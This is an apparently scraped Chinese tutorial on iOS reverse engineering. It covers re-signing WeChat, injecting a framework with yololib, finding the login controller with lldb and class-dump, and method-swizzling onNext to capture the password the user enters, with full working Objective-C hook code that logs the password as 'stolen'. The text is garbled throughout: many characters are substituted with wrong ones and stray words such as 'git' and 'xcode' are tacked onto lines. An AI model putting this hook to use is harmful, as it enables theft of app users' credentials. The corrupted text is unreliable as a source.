上篇文章讲述了Apple公司双重签名机制的原理,而且针对这个原理咱们又学到了一种将别人的.ipa包修改Bundle ID后运行在咱们手机的方法------重签名。
说白了重签名为的是什么?就是为了能让咱们修改了App的逻辑以后还能正常安装到手机而且调试运行,那么接下来这篇文章就是讲述如何去修改App原有的代码逻辑。
注意哟,本篇文章须要具有一些简单的runtime知识。git
代码注入目前主要是经过framework注入,本次咱们使用的就是framework注入的方式进行讲解。固然也可使用静态库Static Library进行代码注入,只不过过程上要较为复杂一些。github
代码注入是在重签名的基础上进行的,因此先按照上篇文章写的将App进行重签名,建议使用脚本重签名,使用简单,不易出错。xcode
按照Targets---> + --->framework新建一个framework,名字随便起,笔者这里已经建立好了,名字起的是HYHook.framework。 bash
建立好了framework以后直接编译一遍,
而后查看Products--->代码注入.app--->Frameworks文件夹,是否是发现咱们刚刚建立的framework已经添加到Frameworks文件夹里面了。是否是很神奇?这也是为何咱们要使用framework进行代码注入的缘由之一。 服务器
App在运行的时候可以执行到如下3个地方的代码:微信
在刚刚咱们已经将framework添加到了Frameworks文件夹下,可是注意,这并不表明着这个framework已经能够用了。使用MachOView查看App的MachO文件以下。由于MachO文件的二进制数据的排列是有规律的,因此这里咱们就可使用MachOView来将MachO二进制文件破解出某些信息,在界面上展现出来。 网络
Load Commands
项,这一项中表示了在MachO执行的时候须要加载的资源文件,而下面圈起来的部分就是须要加载的代码库,咱们查看这些库能够发现这里面是没有咱们刚刚新建的framework的。
也就是说,咱们刚刚新建了一个framework,而且也添加到了Frameworks文件夹里面,可是在执行MachO文件的时候并不会将这个framework加载到内存中,所以也就仍是没法调用。此时咱们就须要另一个工具yololib了,这是一个命令行工具,安装后在重签名脚本最后添加下面一行脚本便可修改MachO文件,在执行的时候加载咱们的framework。HYHook是我刚刚建立的framework的名称,须要修改为大家本身建立的framework名称。app
yololib "$TARGET_APP_PATH/$APP_BINARY" "Frameworks/HYHook.framework/HYHook"
复制代码
注意:若是只是重签名上面那行命令不要添加,在代码注入的时候再添加,而且framework名字要与建立的framework相同。编辑器
目前咱们已经将本身建立的framework添加到了Frameworks文件夹里面,而且如今MachO文件在执行的时候也会将这个framework加载到内存中。那么接下来咱们就要开始让framework作点事情了。
一、建立一个类,名字随便,我这里叫HYHookLogin
,由于后面要使用这个类去获取微信的登陆密码。
二、在.m中实现这个类的load方法,代码以下:ide
+ (void)load {
NSLog(@"这是注入的代码打印出来的😂😂😂😂");
}
复制代码
三、运行代码,能够看到这句话已经打印出来了,说明咱们注入的代码执行了。
咱们已经知道如何让App执行添加的framework代码了,不过那些都不是重点,真正的重点从这里开始。
相信不少童鞋在这以前应该都多多少少了解过iOS的黑魔法Method Swizzling
,不了解也不要紧,如今就来说讲这个黑魔法。
讲以前我默认你知道SEL和IMP对于方法来讲所表示的意义。再说一下吧
简而言之,经过SEL能够找到方法实现的地址,而IMP就是方法的实现地址。
他俩的关系是一一对应的,盗一张图😁
而咱们的黑魔法看着他们一一对应很不爽,因而就有了下面这样👌
动态调试,听名字感受很高大上,其实就是在App运行期间进行lldb调试。这里咱们依然以微信做为学习软件。
用微信号/QQ号/邮箱登陆
,此时咱们就会进入到帐号密码输入界面。[btn addTarget:self action:@selector(xxx) forControlEvents:UIControlEventTouchUpInside];
复制代码
这时候就能够猜想,点击登陆按钮的时候控制器WCAccountMainLoginViewController
对象就会调用onNext
方法,可是如今咱们如何肯定这个onNext
方法是对象方法仍是类方法呢?
上面的动态调试让咱们猜想到点击登陆按钮会调用onNext
方法,那么这个静态分析就是来辅助验证咱们猜想的。
这里还要使用到一个工具class-dump,一样也是一个命令行工具,为了让这些工具在哪都能使用,咱们能够把他们的可执行文件放到/usr/local/bin
目录下。
class-dump的做用就是能够反编译App的MachO文件,将里面类的属性/成员变量和方法声明进行导出,便于查看。
// 使用如下命令将WeChat的MachO文件的头文件导出到Header文件夹
class-dump -H WeChat -o Header
复制代码
另外,再介绍一个工具sublime Text,这个工具是一个轻量级的编辑器,拥有xcode全局搜索同样的功能,咱们能够用它打开class-dump导出的头文件文件夹,快速搜索咱们须要的东西。
是否是有疑问:为何不直接使用xcode呢?
像咱们使用的这个微信,导出的头文件有10000多个。笔者试过,将这些文件往xcode工程中一拖,xcode立马卡死,强制退出点了3次才退掉。sublime Text的有点就是它是轻量级的,加载10000多个头文件轻轻松松,同时也能快速的全局搜索。(具体用不用根据本身须要吧😄)
接下来全局搜索咱们想要的东西吧!
command + shift + f
打开全局搜索,输入@interface WCAccountMainLoginViewController
进行搜索。
经过上面的动态调试和静态分析,咱们已经基本能够肯定onNext方法就是点击登陆时要执行的方法,那么如今就该想一想咱们要如何获取登陆密码?
WCUITextField
类型的对象。
WCAccountMainLoginViewController.h
文件中找,看看有没有WCUITextField
类型的对象。很遗憾,没找到。虽然没找到,可是咱们貌似发现来两个可疑对象?(因而可知代码混淆有多重要)
@interface WCAccountTextFieldItem
,找到了,可是发现什么也没有。
WCBaseTextFieldItem
吗?继续沿着线索查,全局搜索@interface WCBaseTextFieldItem
。哈哈,发现了什么?一个WCUITextField
类型的变量。
咱们找到了登陆按钮的点击事件方法- (void)onNext;
密码的输入框对象_textFieldUserPwdItem
。那么下面就是须要咱们使用代码获取微信登陆密码的时刻了。
HYHookLogin
类中导入#import <objc/runtime.h>
而且定义方法- (void)new_onNext;
重写HYHookLogin
类的+ (void)load;
方法。+ (void)load {
}
- (void)new_onNext {
}
复制代码
load
方法中使用上面说的黑魔法将WCAccountMainLoginViewController
类中的onNext
方法和HYHookLogin
类中的new_onNext
方法的实现进行交换。代码以下:+ (void)load {
// 获取Method对象
Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
Method new_onNext = class_getInstanceMethod(self, @selector(new_onNext));
// 交换方法
method_exchangeImplementations(onNext, new_onNext);
}
- (void)new_onNext {
UITextField *pwdTF = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
NSLog(@"窃取到的密码是:%@", pwdTF.text);
// 为了避免改变本来的登陆逻辑,这里须要调用微信本来的onNext方法实现
// 但因为new_onNext的方法实现已经与onNext方法实现进行了交换,因此须要[self new_onNext]调用,并不会递归。
[self new_onNext];
}
复制代码
WCAccountMainLoginViewController
类中是没有new_onNext
方法的声明的。找不到这个方法的SEL。
+(void)load {
// // 第1种方法
// // 获取Method对象
// Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
// // 给WCAccountMainLoginViewController添加方法,为了解决[self new_onNext]调用崩溃的问题
// class_addMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext), class_getMethodImplementation(self, @selector(new_onNext)), "v@:");
// // 交换方法
// method_exchangeImplementations(onNext, class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext)));
// // 第2种方法
// Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
// /*
// 方法替换,参数说明
// 一、将要被替换的方法在哪一个类
// 二、将要被替换的方法在类中的SEL
// 三、替换方法的具体实现
// 四、方法标识,返回值类型v == void,发送消息的对象的类型@ == id,消息的SEL == :
// 返回的是被替换方法的IMP,类型是IMP IMP == void(*)(void) 类型,此时可强转为void(*)(id, SEL)类型
// */
// old_onNext = (void(*)(id, SEL))class_replaceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext), class_getMethodImplementation(self, @selector(new_onNext)), "v@:");
// 第3种方法
Method onNext = class_getInstanceMethod(NSClassFromString(@"WCAccountMainLoginViewController"), @selector(onNext));
// 获取老onNext方法的IMP
old_onNext = (void(*)(id, SEL))class_getMethodImplementation(NSClassFromString(@"WCAccountMainLoginViewController"), @selector(onNext));
// 获取新onNext方法的IMP
IMP new_onNext = class_getMethodImplementation(self, @selector(new_onNext));
// 修改onNext方法的IMP为new_onNext
method_setImplementation(onNext, new_onNext);
}
// 用来接收老的onNext方法的地址 显式声明old_onNext是一个函数指针变量,第2,3种方法须要这个。
void (*old_onNext)(id self, SEL _cmd);
- (void)new_onNext {
NSLog(@"点击了登陆按钮");
UITextField *pwdTF = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
NSLog(@"窃取到的密码是:%@", pwdTF.text);
// // 第1种方法
// [self new_onNext]; // 由于WCAccountMainLoginViewController类没有这个方法,直接调用会找不到,崩溃
// // 第2种方法
// old_onNext(self, _cmd);
// 第3种方法
old_onNext(self, _cmd);
}
复制代码
其实这三种方法解决崩溃的原理上大同小异,就看读者你喜欢用哪一种方法了。
这篇文章讲述了如何经过framework进行代码注入,而且在此基础上一步步逆向分析出微信的登陆密码如何窃取。之因此用窃取这个词,就是由于在用户层上,并无改变微信本来的登陆请求,只是在登陆以前添加了一点点东西用来窃取用户输入的密码。
用红色文字提示用户: 没事千万别把手机越狱,使用别人开发的插件,极可能别人的插件就有这个获取密码的功能,而后经过网络请求将你的密码上传到某个服务器上,讽刺的是这个帐号密码仍是你本身输入给人家的😂😂😂